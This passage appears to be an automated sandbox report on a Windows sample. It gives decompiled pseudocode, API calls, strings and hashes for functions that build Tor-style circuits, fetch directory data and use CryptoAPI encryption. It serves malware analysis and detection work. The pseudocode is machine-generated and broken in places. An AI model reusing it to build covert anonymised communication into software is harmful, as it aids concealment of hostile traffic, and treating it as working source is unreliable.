				 *((long long*)(_t175 + 0x48)) = ( *0x7FF61D793410 - _t187 - 0x00000001 & 0x1d793400) + _t187;
				asm("movaps xmm0, [esp+0x40]");
				asm("movdqa [esp+0x40], xmm0");
				r8d = r14w & 0xffffffff;
				_t88 = E00007FF67FF61D7836DC( *((intOrPtr*)(0x1d793400 + ( *((intOrPtr*)(_t172 + 0x77)) - (_t172 + 0x7f >> 3) + (_t172 + 0x7f >> 3) * 8) * 8)), _t198, _t175 + 0x40, _t169, _t172 - 0x79); // executed
				 *((intOrPtr*)(_t175 + 0x30)) = 2;
				 *((intOrPtr*)(_t175 + 0x30)) = 1;
				return E00007FF67FF61D781BDC(_t88, _t172 + 0x17);
			}

0x7ff61d788738
0x7ff61d788738
0x7ff61d788738
0x7ff61d78873b
0x7ff61d788747
0x7ff61d78874b
0x7ff61d788752
0x7ff61d78875a
0x7ff61d78875e
0x7ff61d788765
0x7ff61d788768
0x7ff61d78876d
0x7ff61d788771
0x7ff61d788774
0x7ff61d78879d
0x7ff61d7887a3
0x7ff61d7887ab
0x7ff61d7887b1
0x7ff61d7887b4
0x7ff61d7887b9
0x7ff61d7887bd
0x7ff61d7887c2
0x7ff61d7887c9
0x7ff61d7887d8
0x7ff61d7887ff
0x7ff61d788812
0x7ff61d78881f
0x7ff61d788829
0x7ff61d788834
0x7ff61d78883f
0x7ff61d78884a
0x7ff61d788853
0x7ff61d788858
0x7ff61d78886f
0x7ff61d7888a9
0x7ff61d7888ba
0x7ff61d7888c4
0x7ff61d7888d0
0x7ff61d7888d5
0x7ff61d7888e9
0x7ff61d7888f1
0x7ff61d7888f9
0x7ff61d7888fe
0x7ff61d788903
0x7ff61d78890a
0x7ff61d78891b
0x7ff61d788923
0x7ff61d788927
0x7ff61d788939
0x7ff61d788942
0x7ff61d788947
0x7ff61d78894c
0x7ff61d788951
0x7ff61d78895b
0x7ff61d788967
0x7ff61d78896f
0x7ff61d788976
0x7ff61d7889a1

APIs

CryptGenRandom.ADVAPI32 ref: 00007FF61D7887FF
free.MSVCRT ref: 00007FF61D788829
free.MSVCRT ref: 00007FF61D788834
free.MSVCRT ref: 00007FF61D78883F
free.MSVCRT ref: 00007FF61D78884A
CryptGenRandom.ADVAPI32 ref: 00007FF61D78886F
inet_ntoa.WS2_32 ref: 00007FF61D7888A9
inet_ntoa.WS2_32 ref: 00007FF61D78890A

Strings

consensus::download_from_random_authority() [path: http://%s:%u%s], xrefs: 00007FF61D7888D9
gfffffff, xrefs: 00007FF61D788782

Memory Dump Source

Source File: 00000000.00000002.655681816.00007FF61D781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF61D780000, based on PE: true

Associated: 00000000.00000002.655671292.00007FF61D780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655757930.00007FF61D79D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655767401.00007FF61D79E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff61d780000_SPXp2YHDFz.jbxd

Similarity

API ID: free$CryptRandominet_ntoa
String ID: consensus::download_from_random_authority() [path: http://%s:%u%s]$gfffffff
API String ID: 3056602706-1112183986
Opcode ID: 4e44e7a23ffac40779414ec128a796656b4f6aafa7ccc9a71e04660d55b9e9e6
Instruction ID: 146da25b0446d1b8b83b293e176eb2490f022f28d61d161b9c6f5d5e4b56b6c6
Opcode Fuzzy Hash: 4e44e7a23ffac40779414ec128a796656b4f6aafa7ccc9a71e04660d55b9e9e6
Instruction Fuzzy Hash: AA616B63B14E4596EB00CF7AE8400AC6371FB89BB4B145236EE5D93BA8EF38D419C340

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61D781024 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 24
encryptionlibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetEnvironmentVariableA.KERNEL32 ref: 00007FF61D781034
LoadLibraryA.KERNEL32 ref: 00007FF61D781045
CryptAcquireContextA.ADVAPI32 ref: 00007FF61D781069
CryptAcquireContextA.ADVAPI32 ref: 00007FF61D78108D

Strings

csp_alt_prov, xrefs: 00007FF61D78102B
Microsoft Enhanced RSA and AES Cryptographic Provider, xrefs: 00007FF61D781059
Microsoft Enhanced DSS and Diffie-Hellman Cryptographic Provider, xrefs: 00007FF61D78107D
csp_alt.dll, xrefs: 00007FF61D78103E

Memory Dump Source

Source File: 00000000.00000002.655681816.00007FF61D781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF61D780000, based on PE: true

Associated: 00000000.00000002.655671292.00007FF61D780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655757930.00007FF61D79D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655767401.00007FF61D79E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff61d780000_SPXp2YHDFz.jbxd

Similarity

API ID: AcquireContextCrypt$EnvironmentLibraryLoadVariable
String ID: Microsoft Enhanced DSS and Diffie-Hellman Cryptographic Provider$Microsoft Enhanced RSA and AES Cryptographic Provider$csp_alt.dll$csp_alt_prov
API String ID: 2970050021-3829227113
Opcode ID: 9d58d0891175f3361f5d80cf370a4b3ede3aadc786bc650999dcf396d6323e88
Instruction ID: 11a57d8ea61db8ed1a87f67b54bfd0e58be49a0e4948126fd1ecfb4a7f362e5d
Opcode Fuzzy Hash: 9d58d0891175f3361f5d80cf370a4b3ede3aadc786bc650999dcf396d6323e88
Instruction Fuzzy Hash: 71F0C422A18E42A1F718DF28EC456A52361BF99B38FC45136C44EC6274EF3CE60ECB10

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61D78E7D0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 100
encryptionCOMMON

Download Yara Rule

C-Code - Quality: 50%

			E00007FF67FF61D78E7D0(void* __ecx, void* __edx, void* __edi, void* __eflags, long long __rbx, void* __rcx, signed short* __rdx, long long __rsi, long long __r8, void* __r9) {
				void* __rdi;
				void* __rbp;
				void* _t52;
				void* _t59;
				void* _t60;
				void* _t65;
				intOrPtr _t69;
				long long _t74;
				void* _t101;
				void* _t102;
				long long _t105;
				void* _t107;
				void* _t108;
				void* _t110;
				void* _t117;
				void* _t119;
				signed short* _t120;
				void* _t122;
				void* _t123;
				void* _t126;

				_t117 = __r9;
				_t68 = __rbx;
				_t59 = __edi;
				_t65 = _t110;
				 *((long long*)(_t65 + 0x18)) = __r8;
				_t108 = _t65 - 0x5f;
				 *((long long*)(_t108 - 0x39)) = 0xfffffffe;
				 *((long long*)(_t65 + 0x10)) = __rbx;
				 *((long long*)(_t65 + 0x20)) = __rsi;
				_t105 = __r8;
				_t120 = __rdx;
				_t102 = __rcx;
				asm("xorps xmm0, xmm0");
				asm("movdqu [ebp-0x29], xmm0");
				 *(_t108 - 0x19) =  *(_t108 - 0x19) & 0x00000000;
				E00007FF67FF61D788AC0(__rbx, _t108 - 0x11, __r8, __r8, _t126);
				asm("xorps xmm0, xmm0");
				asm("movdqu [ebp+0x17], xmm0");
				 *(_t108 + 0x27) =  *(_t108 + 0x27) & 0x00000000;
				E00007FF67FF61D788CBC(_t68, _t108 + 0xf,  *((intOrPtr*)(_t102 + 0x60)) -  *((intOrPtr*)(_t102 + 0x50)) >> 3, __r8, _t108);
				_t69 =  *((intOrPtr*)(_t102 + 0x50));
				goto 0x1d78e859;
				E00007FF67FF61D7889E4(_t69, _t108 + 0xf, _t69, _t105, _t123);
				if (_t69 + 8 !=  *((intOrPtr*)(_t102 + 0x58))) goto 0x1d78e849;
				 *((short*)(_t108 + 0x2f)) =  *_t120 & 0x0000ffff;
				E00007FF67FF61D7883D4(_t69 + 8, 0x1d79d020, _t108 - 0x59, _t108 - 0x31, _t119); // executed
				free(_t101);
				free(_t107);
				free(??);
				if ( *((intOrPtr*)(_t108 - 0x49)) -  *((intOrPtr*)(_t108 - 0x51)) >> 3 == 0) goto 0x1d78e8fc;
				__imp__CryptGenRandom();
				_t74 =  *((intOrPtr*)( *((intOrPtr*)(_t108 - 0x51)) + (_t108 + 0x6f) * 8));
				 *((long long*)(_t108 + 0x67)) = _t74;
				if (_t74 == 0) goto 0x1d78e915;
				E00007FF67FF61D7889E4(_t74, _t102 + 0x48, _t108 + 0x67, _t105);
				E00007FF67FF61D78E948(_t60, _t74, _t102, _t74, _t102, _t105, _t122); // executed
				goto 0x1d78e915;
				_t52 = E00007FF67FF61D781720(2, _t59, 0x1d79d010, "No available routers\n", _t117);
				free(??);
				free(??);
				return _t52;
			}

0x7ff61d78e7d0
0x7ff61d78e7d0
0x7ff61d78e7d0
0x7ff61d78e7d0
0x7ff61d78e7d3
0x7ff61d78e7df
0x7ff61d78e7ea
0x7ff61d78e7f2
0x7ff61d78e7f6
0x7ff61d78e7fa
0x7ff61d78e7fd
0x7ff61d78e800
0x7ff61d78e803
0x7ff61d78e806
0x7ff61d78e80b
0x7ff61d78e817
0x7ff61d78e81d
0x7ff61d78e820
0x7ff61d78e825
0x7ff61d78e83a
0x7ff61d78e843
0x7ff61d78e847
0x7ff61d78e850
0x7ff61d78e85c
0x7ff61d78e863
0x7ff61d78e876
0x7ff61d78e880
0x7ff61d78e88b
0x7ff61d78e896
0x7ff61d78e8ab
0x7ff61d78e8c2
0x7ff61d78e8d5
0x7ff61d78e8d9
0x7ff61d78e8e0
0x7ff61d78e8ea
0x7ff61d78e8f5
0x7ff61d78e8fa
0x7ff61d78e90f
0x7ff61d78e919
0x7ff61d78e924
0x7ff61d78e945

APIs

Part of subcall function 00007FF61D788CBC: malloc.MSVCRT(?,?,?,00007FF61D788A32), ref: 00007FF61D788CFA
Part of subcall function 00007FF61D788CBC: memmove.MSVCRT(?,?,?,00007FF61D788A32), ref: 00007FF61D788D15
Part of subcall function 00007FF61D788CBC: free.MSVCRT(?,?,?,00007FF61D788A32), ref: 00007FF61D788D1E

free.MSVCRT ref: 00007FF61D78E880
free.MSVCRT ref: 00007FF61D78E88B
free.MSVCRT ref: 00007FF61D78E896
CryptGenRandom.ADVAPI32 ref: 00007FF61D78E8C2
free.MSVCRT ref: 00007FF61D78E919
free.MSVCRT ref: 00007FF61D78E924

Part of subcall function 00007FF61D781720: GetCurrentThreadId.KERNEL32 ref: 00007FF61D781743
Part of subcall function 00007FF61D781720: GetLocalTime.KERNEL32(?,?,?,?,?,00000000,00000002,?,?,00007FF61D7888EE), ref: 00007FF61D781750
Part of subcall function 00007FF61D781720: _cwprintf_s_l.LIBCMT ref: 00007FF61D781791

Strings

No available routers, xrefs: 00007FF61D78E8FC

Memory Dump Source

Source File: 00000000.00000002.655681816.00007FF61D781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF61D780000, based on PE: true

Associated: 00000000.00000002.655671292.00007FF61D780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655757930.00007FF61D79D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655767401.00007FF61D79E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff61d780000_SPXp2YHDFz.jbxd

Similarity

API ID: free$CryptCurrentLocalRandomThreadTime_cwprintf_s_lmallocmemmove
String ID: No available routers
API String ID: 980609513-1591776554
Opcode ID: 7fbfcf098d5815e053e00695530f05f24172560604d66b7ec41f0295ac8ae951
Instruction ID: f02c38328d7f762bae07dd5e9dadb131e348b79b989ebc42a4af8a4d7ab5a08b
Opcode Fuzzy Hash: 7fbfcf098d5815e053e00695530f05f24172560604d66b7ec41f0295ac8ae951
Instruction Fuzzy Hash: FA413A23B14E4295EB00DF76E8442EC2321FB88FA8F445632DE1D97A98EF38E559C340

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61D78B808 Relevance: 12.2, APIs: 8, Instructions: 174encryptionCOMMON

Download Yara Rule

APIs

CryptDestroyKey.ADVAPI32 ref: 00007FF61D78B89F
CryptDestroyKey.ADVAPI32 ref: 00007FF61D78B976
CryptDestroyKey.ADVAPI32 ref: 00007FF61D78B9EC

Part of subcall function 00007FF61D78BC04: CryptDecodeObject.CRYPT32 ref: 00007FF61D78BC8D
Part of subcall function 00007FF61D78BC04: CryptImportKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF61D78B932), ref: 00007FF61D78BCBC

Part of subcall function 00007FF61D78BCD8: memmove.MSVCRT(?,?,?,?,?,?,?,?,?,00007FF61D78B961), ref: 00007FF61D78BD36
Part of subcall function 00007FF61D78BCD8: CryptEncrypt.ADVAPI32(?,?,?,?,?,?,?,?,?,00007FF61D78B961), ref: 00007FF61D78BD6D

Memory Dump Source

Source File: 00000000.00000002.655681816.00007FF61D781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF61D780000, based on PE: true

Associated: 00000000.00000002.655671292.00007FF61D780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655757930.00007FF61D79D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655767401.00007FF61D79E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff61d780000_SPXp2YHDFz.jbxd

Similarity

API ID: Crypt$Destroy$DecodeEncryptImportObjectmemmove
String ID:
API String ID: 1580205057-0
Opcode ID: 82cf0254f431930a81592bcb3bf4dfaad9530bba9830ec035c59a11aafc51620
Instruction ID: 506ca65913d176d64da4863dffc5ed487115d222d50abe41bd4862cddadf1a64
Opcode Fuzzy Hash: 82cf0254f431930a81592bcb3bf4dfaad9530bba9830ec035c59a11aafc51620
Instruction Fuzzy Hash: C6910133A29F8485EB408F65E4806ADB370F788B64F105225EF8E53B58EF38D595C740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61D78A54C Relevance: 10.7, APIs: 3, Strings: 4, Instructions: 207
COMMONCrypto

Download Yara Rule

C-Code - Quality: 54%

			E00007FF67FF61D78A54C(void* __ecx, void* __edi, signed long long __rcx, void** __rdx, void* __rsi) {
				void* __rbx;
				void* __rdi;
				void* __r14;
				signed int _t89;
				void* _t100;
				signed int _t104;
				signed int _t106;
				void* _t109;
				void* _t132;
				long long _t138;
				void* _t146;
				signed int _t148;
				long long _t149;
				intOrPtr* _t150;
				signed int* _t161;
				signed long long _t177;
				signed long long _t181;
				signed long long _t183;
				signed long long _t186;
				long long _t189;
				void* _t191;
				signed long long* _t192;
				void* _t195;
				void* _t196;
				void* _t198;
				void* _t199;
				void* _t201;
				void* _t210;
				signed long long _t213;
				intOrPtr* _t214;
				void* _t216;
				signed int _t218;
				signed int* _t219;
				void* _t221;
				void* _t224;
				signed long long _t225;
				intOrPtr* _t226;

				_t194 = __rsi;
				_t121 = __edi;
				 *((intOrPtr*)(_t198 + 0x18)) = r8d;
				 *((long long*)(_t198 + 0x10)) = __rdx;
				_t196 = _t198 - 0x27;
				_t199 = _t198 - 0xe0;
				 *((long long*)(_t196 - 0x31)) = 0xfffffffe;
				_t192 = __rdx;
				_t225 = __rcx;
				r12d = 0;
				 *((intOrPtr*)(_t199 + 0x20)) = r12d;
				if (E00007FF67FF61D78ABB0(__rcx) != 0) goto 0x1d78a5a0;
				 *__rdx = _t210;
				__rdx[2] = _t210;
				 *((intOrPtr*)(_t199 + 0x20)) = 1;
				goto 0x1d78a855;
				_t181 = __rcx;
				E00007FF67FF61D78B1B4(_t109, _t132, _t199 + 0x28, __rcx);
				_t89 =  *( *((intOrPtr*)(_t199 + 0x28)) + 8);
				 *(_t196 + 0x77) = _t89;
				 *(_t196 - 0x69) = _t89;
				asm("xorps xmm0, xmm0");
				asm("movdqu [ebp-0x61], xmm0");
				if ( *((intOrPtr*)(_t199 + 0x30)) == 0) goto 0x1d78a5dd;
				asm("lock inc dword [ebx+0x8]");
				_t148 =  *((intOrPtr*)(_t199 + 0x30));
				_t218 =  *((intOrPtr*)(_t199 + 0x28));
				 *(_t196 - 0x61) = _t218;
				 *(_t196 - 0x59) = _t148;
				_t213 = (_t181 >> 2) + (_t181 >> 2 >> 0x3f);
				_t201 = _t213 + 1;
				_t183 = (_t181 >> 2) + (_t181 >> 2 >> 0x3f);
				if (_t201 - _t183 <= 0) goto 0x1d78a650;
				goto 0x1d78a642;
				if (_t201 - 4 + _t183 * 4 << 2 >= 0) goto 0x1d78a63e;
				E00007FF67FF61D78B480(_t89 * ( *((intOrPtr*)(_t225 + 0x28)) -  *((intOrPtr*)(_t225 + 0x20))) * ( *((intOrPtr*)(_t225 + 0x30)) -  *((intOrPtr*)(_t225 + 0x20))), _t148, _t225 + 0x18, 4 + _t183 * 4 << 2, __rdx, __rsi, _t221);
				_t186 = _t213 + _t213 * 2;
				_t161 =  *((intOrPtr*)(_t225 + 0x20)) + _t186 * 8;
				 *(_t196 - 0x79) = _t161;
				 *_t161 =  *(_t196 + 0x77);
				_t161[2] = _t218;
				_t161[4] = _t148;
				asm("xorps xmm0, xmm0");
				asm("movdqu [ebp-0x61], xmm0");
				_t138 =  *((intOrPtr*)(_t225 + 0x20));
				 *((long long*)(_t225 + 0x28)) = _t138 + (_t186 + 3) * 8;
				_t214 =  *((intOrPtr*)(_t199 + 0x28));
				_t222 =  *((intOrPtr*)(_t225 + 8));
				E00007FF67FF61D781720(0, __edi, 0x1d79d010, "circuit::create_tap() [or: %s, state: creating]\n",  *((intOrPtr*)( *((intOrPtr*)(_t225 + 8)) + 0x40)));
				 *((intOrPtr*)(_t214 + 0xc)) = 1;
				asm("xorps xmm0, xmm0");
				asm("movdqu [ebp-0x49], xmm0");
				 *(_t196 - 0x39) =  *(_t196 - 0x39) & 0x00000000;
				_t226 = _t214 + 0x30;
				if ( *_t226 == 0) goto 0x1d78a6e0;
				E00007FF67FF61D781720(2, __edi, 0x1d79d010, "circuit::create_tap() extend node isn\'t null\n",  *((intOrPtr*)( *((intOrPtr*)(_t225 + 8)) + 0x40)));
				r8d = 0;
				E00007FF67FF61D785604(_t138, _t148, 0x1d79d010,  *((intOrPtr*)(_t225 + 8)));
				 *((long long*)(_t196 + 0x7f)) = _t138;
				 *_t226 = _t138;
				 *((long long*)(_t196 + 0x7f)) =  *_t226;
				E00007FF67FF61D786D40(_t148, _t196 + 0x7f, _t222);
				_t189 = _t196 - 0x29;
				E00007FF67FF61D788D50(_t148,  *_t226, _t189, _t224); // executed
				_t219 =  *((intOrPtr*)(_t138 + 8));
				 *(_t196 - 0x49) = _t219;
				 *((long long*)(_t138 + 8)) = _t189;
				_t149 =  *((intOrPtr*)(_t138 + 0x10));
				 *((long long*)(_t196 - 0x41)) = _t149;
				 *((long long*)(_t138 + 0x10)) = _t189;
				 *(_t196 - 0x39) =  *((intOrPtr*)(_t138 + 0x18));
				 *((long long*)(_t138 + 0x18)) = _t189;
				free(_t221);
				 *(_t196 - 0x79) = _t219;
				 *((long long*)(_t196 - 0x71)) = _t149;
				asm("movaps xmm0, [ebp-0x79]");
				asm("movdqa [ebp-0x79], xmm0");
				r8b = 1;
				E00007FF67FF61D7845C0( *((intOrPtr*)(_t214 + 8)), _t196 - 9);
				E00007FF67FF61D78A86C(_t138,  *_t214, _t138); // executed
				free(_t216);
				r8d = 0x7530;
				_t100 = E00007FF67FF61D786248(4, _t149, _t214, _t192, __rsi); // executed
				E00007FF67FF61D786D40(_t149, _t226, _t138);
				if (_t100 != 0) goto 0x1d78a7b9;
				E00007FF67FF61D781720(0, _t121, 0x1d79d010, "circuit::create_tap() [or: %s, state: created]\n",  *((intOrPtr*)(_t222 + 0x40)));
				goto 0x1d78a7cb;
				E00007FF67FF61D781720(3, _t121, 0x1d79d010, "circuit::create_tap() [or: %s, state: destroyed]\n",  *((intOrPtr*)(_t222 + 0x40)));
				free(_t210);
				_t177 =  *((intOrPtr*)(_t199 + 0x28));
				if (( *((intOrPtr*)(_t177 + 0x48)) -  *((intOrPtr*)(_t177 + 0x40)) & 0xfffffff8) != 8) goto 0x1d78a80a;
				 *_t192 = _t177;
				_t192[1] =  *((intOrPtr*)(_t199 + 0x30));
				asm("xorps xmm0, xmm0");
				asm("movdqu [esp+0x28], xmm0");
				 *((intOrPtr*)(_t199 + 0x20)) = 1;
				goto 0x1d78a855;
				_t104 = E00007FF67FF61D785038(_t149, _t177, _t138, _t194);
				 *_t192 =  *_t192 & 0x00000000;
				_t192[1] = _t192[1] & 0x00000000;
				 *((intOrPtr*)(_t199 + 0x20)) = 1;
				_t150 =  *((intOrPtr*)(_t199 + 0x30));
				if (_t150 == 0) goto 0x1d78a855;
				asm("lock xadd [ebx+0x8], eax");
				if ((_t104 | 0xffffffff) != 1) goto 0x1d78a855;
				_t106 =  *((intOrPtr*)( *_t150))(_t191, _t146, _t195);
				asm("lock xadd [ebx+0xc], eax");
				if ((_t106 | 0xffffffff) != 1) goto 0x1d78a855;
				return  *((intOrPtr*)( *_t150 + 8))();
			}

0x7ff61d78a54c
0x7ff61d78a54c
0x7ff61d78a54c
0x7ff61d78a551
0x7ff61d78a561
0x7ff61d78a566
0x7ff61d78a56d
0x7ff61d78a575
0x7ff61d78a578
0x7ff61d78a57b
0x7ff61d78a57e
0x7ff61d78a58a
0x7ff61d78a58c
0x7ff61d78a58f
0x7ff61d78a593
0x7ff61d78a59b
0x7ff61d78a5a0
0x7ff61d78a5a8
0x7ff61d78a5b3
0x7ff61d78a5b7
0x7ff61d78a5ba
0x7ff61d78a5bd
0x7ff61d78a5c0
0x7ff61d78a5cd
0x7ff61d78a5cf
0x7ff61d78a5d3
0x7ff61d78a5d8
0x7ff61d78a5dd
0x7ff61d78a5e1
0x7ff61d78a60b
0x7ff61d78a60e
0x7ff61d78a62c
0x7ff61d78a632
0x7ff61d78a63c
0x7ff61d78a645
0x7ff61d78a64b
0x7ff61d78a650
0x7ff61d78a658
0x7ff61d78a65c
0x7ff61d78a663
0x7ff61d78a665
0x7ff61d78a669
0x7ff61d78a66d
0x7ff61d78a670
0x7ff61d78a675
0x7ff61d78a681
0x7ff61d78a685
0x7ff61d78a68a
0x7ff61d78a6a2
0x7ff61d78a6a7
0x7ff61d78a6b0
0x7ff61d78a6b3
0x7ff61d78a6b8
0x7ff61d78a6bd
0x7ff61d78a6c6
0x7ff61d78a6db
0x7ff61d78a6e0
0x7ff61d78a6e6
0x7ff61d78a6eb
0x7ff61d78a6f2
0x7ff61d78a6f5
0x7ff61d78a6fd
0x7ff61d78a702
0x7ff61d78a709
0x7ff61d78a70f
0x7ff61d78a713
0x7ff61d78a719
0x7ff61d78a71d
0x7ff61d78a721
0x7ff61d78a725
0x7ff61d78a72d
0x7ff61d78a731
0x7ff61d78a739
0x7ff61d78a73f
0x7ff61d78a743
0x7ff61d78a747
0x7ff61d78a74b
0x7ff61d78a754
0x7ff61d78a760
0x7ff61d78a76d
0x7ff61d78a777
0x7ff61d78a782
0x7ff61d78a78b
0x7ff61d78a795
0x7ff61d78a7a7
0x7ff61d78a7b2
0x7ff61d78a7b7
0x7ff61d78a7c5
0x7ff61d78a7ce
0x7ff61d78a7d4
0x7ff61d78a7e9
0x7ff61d78a7eb
0x7ff61d78a7f3
0x7ff61d78a7f7
0x7ff61d78a7fa
0x7ff61d78a800
0x7ff61d78a808
0x7ff61d78a80a
0x7ff61d78a80f
0x7ff61d78a813
0x7ff61d78a818
0x7ff61d78a820
0x7ff61d78a828
0x7ff61d78a82d
0x7ff61d78a835
0x7ff61d78a83d
0x7ff61d78a842
0x7ff61d78a84a
0x7ff61d78a86a

Strings

circuit::create_tap() [or: %s, state: creating], xrefs: 00007FF61D78A692
circuit::create_tap() [or: %s, state: destroyed], xrefs: 00007FF61D78A7B9
circuit::create_tap() extend node isn't null, xrefs: 00007FF61D78A6C8
circuit::create_tap() [or: %s, state: created], xrefs: 00007FF61D78A7A9

Memory Dump Source

Source File: 00000000.00000002.655681816.00007FF61D781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF61D780000, based on PE: true

Associated: 00000000.00000002.655671292.00007FF61D780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655757930.00007FF61D79D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655767401.00007FF61D79E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff61d780000_SPXp2YHDFz.jbxd

Similarity

API ID:
String ID: circuit::create_tap() [or: %s, state: created]$circuit::create_tap() [or: %s, state: creating]$circuit::create_tap() [or: %s, state: destroyed]$circuit::create_tap() extend node isn't null
API String ID: 0-1124358675
Opcode ID: 855fa1c58b3e9be616c154bd6b2ae1644715a2bf965ba0cac0a5d6a3511b82b2
Instruction ID: c61e8225e5f84d0622f5fb643fe3889f9dd6aff5beaeaf21566950c022a3ccd3
Opcode Fuzzy Hash: 855fa1c58b3e9be616c154bd6b2ae1644715a2bf965ba0cac0a5d6a3511b82b2
Instruction Fuzzy Hash: 1791DC73A14F4186EB10DF25E4446AE73A5FB88BA8F548236EE5D83794EF38D489C300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61D78CAD4 Relevance: 7.7, APIs: 5, Instructions: 160encryptionCOMMON

Download Yara Rule

APIs

memmove.MSVCRT ref: 00007FF61D78CB44
memmove.MSVCRT ref: 00007FF61D78CB84
memmove.MSVCRT ref: 00007FF61D78CBC7
CryptImportKey.ADVAPI32 ref: 00007FF61D78CC59
CryptDestroyKey.ADVAPI32 ref: 00007FF61D78CCE0

Memory Dump Source

Source File: 00000000.00000002.655681816.00007FF61D781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF61D780000, based on PE: true

Associated: 00000000.00000002.655671292.00007FF61D780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655757930.00007FF61D79D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655767401.00007FF61D79E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff61d780000_SPXp2YHDFz.jbxd

Similarity

API ID: memmove$Crypt$DestroyImport
String ID:
API String ID: 4136106364-0
Opcode ID: 9ee93d28625d7484f3da15b5c6f4540b2c67f637f80fc76df1d6b171890f0658
Instruction ID: 67dbd1083d75e6be47e791ed5d7a3852095f267ce701f9822e0060ae609353a0
Opcode Fuzzy Hash: 9ee93d28625d7484f3da15b5c6f4540b2c67f637f80fc76df1d6b171890f0658
Instruction Fuzzy Hash: 7A51F7A7A25FC489CB12CF74D4185ECBB60EB99BD0B59C222DBDC57306DE28D259C300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61D7873F0 Relevance: 7.6, APIs: 5, Instructions: 53encryptionCOMMON

Download Yara Rule

APIs

CryptDestroyHash.ADVAPI32 ref: 00007FF61D787427
CryptDestroyHash.ADVAPI32 ref: 00007FF61D787442
CryptDestroyKey.ADVAPI32 ref: 00007FF61D787472
CryptDestroyKey.ADVAPI32 ref: 00007FF61D787494
free.MSVCRT ref: 00007FF61D7874A3

Memory Dump Source

Source File: 00000000.00000002.655681816.00007FF61D781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF61D780000, based on PE: true

Associated: 00000000.00000002.655671292.00007FF61D780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655757930.00007FF61D79D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655767401.00007FF61D79E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff61d780000_SPXp2YHDFz.jbxd

Similarity

API ID: CryptDestroy$Hash$free
String ID:
API String ID: 3361909387-0
Opcode ID: 126185abab56081bbdc337ad22b7c286b1721ee87483a6ae550a7f571322b556
Instruction ID: 65edc708532f3db3407446f3967d4dc0aabb935feac2156d475bd4e7779f38d2
Opcode Fuzzy Hash: 126185abab56081bbdc337ad22b7c286b1721ee87483a6ae550a7f571322b556
Instruction Fuzzy Hash: 46215C33605F8182EB148F61E854369B360FB85F75F588235CA9E8AA94DF7CD46AD310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61D784314 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 31
networkCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E00007FF67FF61D784314(long long __rbx, intOrPtr* __rcx, void* __r8, long long _a8) {
				void* _t12;
				void* _t32;

				_a8 = __rbx;
				if (__r8 != 0) goto 0x1d78432a;
				goto 0x1d784373;
				r9d = 0; // executed
				__imp__#16(); // executed
				if (0 != 0) goto 0x1d784347;
				 *((intOrPtr*)( *__rcx + 8))();
				if (0 != 0xffffffff) goto 0x1d784370;
				__imp__#111();
				r9d = 0;
				return E00007FF67FF61D781720(4, _t12, 0x1d79d010, "tcp_socket::read_impl recv error: %i\n", _t32);
			}

0x7ff61d784314
0x7ff61d784324
0x7ff61d784328
